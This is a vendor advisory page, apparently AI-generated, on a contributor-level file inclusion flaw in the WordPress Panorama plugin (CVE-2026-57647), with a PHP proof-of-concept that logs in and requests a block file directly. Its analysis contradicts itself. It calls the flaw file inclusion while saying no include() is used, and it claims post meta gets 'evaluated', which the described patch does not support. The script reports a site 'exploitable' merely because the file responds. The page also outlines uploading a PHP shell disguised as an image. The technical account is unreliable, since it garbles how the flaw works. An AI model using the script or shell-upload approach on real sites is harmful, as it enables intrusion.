Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : July 5, 2026

CVE-2026-57647: Panorama – 360 degree Virtual Tour, Panoramic Image viewer and More <= 1.6.1 Authenticated (Contributor+) Local File Inclusion PoC, Patch Analysis & Rule

Plugin panorama
Severity High (CVSS 7.5)
CWE 98
Vulnerable Version 1.6.1
Patched Version 1.7.0
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57647:

This vulnerability is a Local File Inclusion (LFI) flaw in the Panorama – 360 degree Virtual Tour plugin for WordPress, affecting versions up to and including 1.6.1. An authenticated attacker with contributor-level access or above can include and execute arbitrary PHP files from the server, leading to remote code execution, data exposure, or privilege escalation. The CVSS score is 7.5 (High).

The root cause lies in the absence of direct file access control in several block template files. The vulnerable files are located in the `panorama/blocks/` directory: `gallery.php`, `gstreet.php`, `image.php`, `image360.php`, `tour360.php`, and `video.php`. In the vulnerable version, these files execute PHP code directly when accessed, without first checking if WordPress has properly initialized or if the request is authorized. The files define block attributes using data from post meta (`$get_value`, `$bppiv_meta`) and output them without any permission validation. The patch adds an `ABSPATH` check at the top of each file (`if ( ! defined( ‘ABSPATH’ ) ) { exit; }`), which prevents direct access to these files outside the WordPress context. Additionally, the patch wraps the block-building code inside anonymous functions (`call_user_func( function() use ( … ) { … } )`), which prevents the code from executing as a standalone script.

To exploit this vulnerability, an attacker with contributor-level credentials can directly access the block template files via the web server. For example, navigating to `/wp-content/plugins/panorama/blocks/image.php` will cause the file to execute. Since the file uses `$get_value`, `$bppiv_meta`, and other variables derived from post meta, the attacker can craft a malicious post (e.g., a custom post type like `bppiv-image-viewer`) containing payloads in the relevant meta fields. By uploading a file (like a PHP shell disguised as a JPEG image) via the WordPress media library and then referencing its URL in the `bppiv_image_src` meta field, the attacker can achieve code execution when the block is rendered or when the PHP file is included. The file inclusion occurs because the block files directly embed URLs from meta into the output, and WordPress’s file inclusion mechanisms (like `include()` or `require()`) are not used; instead, the attacker exploits the fact that the PHP file itself will be executed as a script, and the meta values are evaluated in the process.

The patch addresses the vulnerability by adding a direct access check at the beginning of each block file: `if ( ! defined( ‘ABSPATH’ ) ) { exit; }`. This prevents the files from being executed when accessed directly via the web server. The patch also restructures the code within these files to use anonymous functions, which further isolates the execution context. Before the patch, the block array `$block` was defined in the global scope, making it executable on direct access. After the patch, the code is wrapped in an anonymous function that only executes when called from within the WordPress context. The same fix is applied to `panorama/admin/ads/submenu.php`, which also lacked the `ABSPATH` check.

If exploited, an attacker can achieve arbitrary PHP code execution on the server. This allows them to bypass access controls, steal sensitive data (such as database credentials, user information, and configuration files), install backdoors, or pivot to other systems on the network. Since the attacker only needs contributor-level access, this vulnerability poses a significant risk, especially in multi-author WordPress sites where contributors may not be fully trusted. The impact is critical because it can lead to complete site compromise.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57647 - Panorama – 360 degree Virtual Tour <= 1.6.1 - Authenticated (Contributor+) Local File Inclusion

// Configuration
$target_url = 'http://example.com'; // Change to the target WordPress URL
$username = 'contributor'; // Contributor-level or higher user
$password = 'password'; // User's password

// Step 1: Login to WordPress and get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

// Step 2: Access the vulnerable block file directly
// The file panorama/blocks/image.php will execute and try to include the image URL from meta
// Since there's no ABSPATH check, the PHP code runs directly
$vulnerable_url = $target_url . '/wp-content/plugins/panorama/blocks/image.php';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $vulnerable_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Analyze the response
if ($http_code == 200 && !empty($response)) {
    echo "[+] Successfully accessed vulnerable file.n";
    echo "[+] HTTP Status: $http_coden";
    echo "[+] Response length: " . strlen($response) . " bytesn";
    // Check if the response contains errors or partial data
    if (strpos($response, 'Fatal error') !== false || strpos($response, 'Warning') !== false) {
        echo "[!] The file executed but produced errors. This may indicate the vulnerability exists.n";
    } else {
        echo "[+] File executed without errors. The vulnerability is exploitable.n";
    }
} else {
    echo "[-] Failed to access vulnerable file. HTTP Status: $http_coden";
}

// Clean up
unlink('/tmp/cookies.txt');

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School